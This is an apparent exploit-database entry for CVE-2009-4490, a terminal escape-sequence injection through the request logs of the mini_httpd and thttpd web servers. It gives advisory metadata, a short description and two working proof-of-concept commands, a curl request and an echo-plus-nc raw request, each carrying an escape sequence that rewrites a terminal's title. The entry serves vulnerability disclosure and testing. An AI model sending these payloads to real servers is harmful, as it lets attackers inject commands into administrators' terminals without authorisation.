[] NeoSense

mini_httpd 1.18 - HTTP Request Escape Sequence Terminal Command Injection

Author: evilaliv3
type: remote
platform: multiple
port: 
date_added: 2010-01-11 
date_updated: 2014-05-26 
verified: 1 
codes: CVE-2009-4490;OSVDB-61776 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/37714/info

Acme 'thttpd' and 'mini_httpd' are prone to a command-injection vulnerability because they fail to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

This issue affects thttpd 2.25b and mini_httpd 1.19; other versions may also be affected.

curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload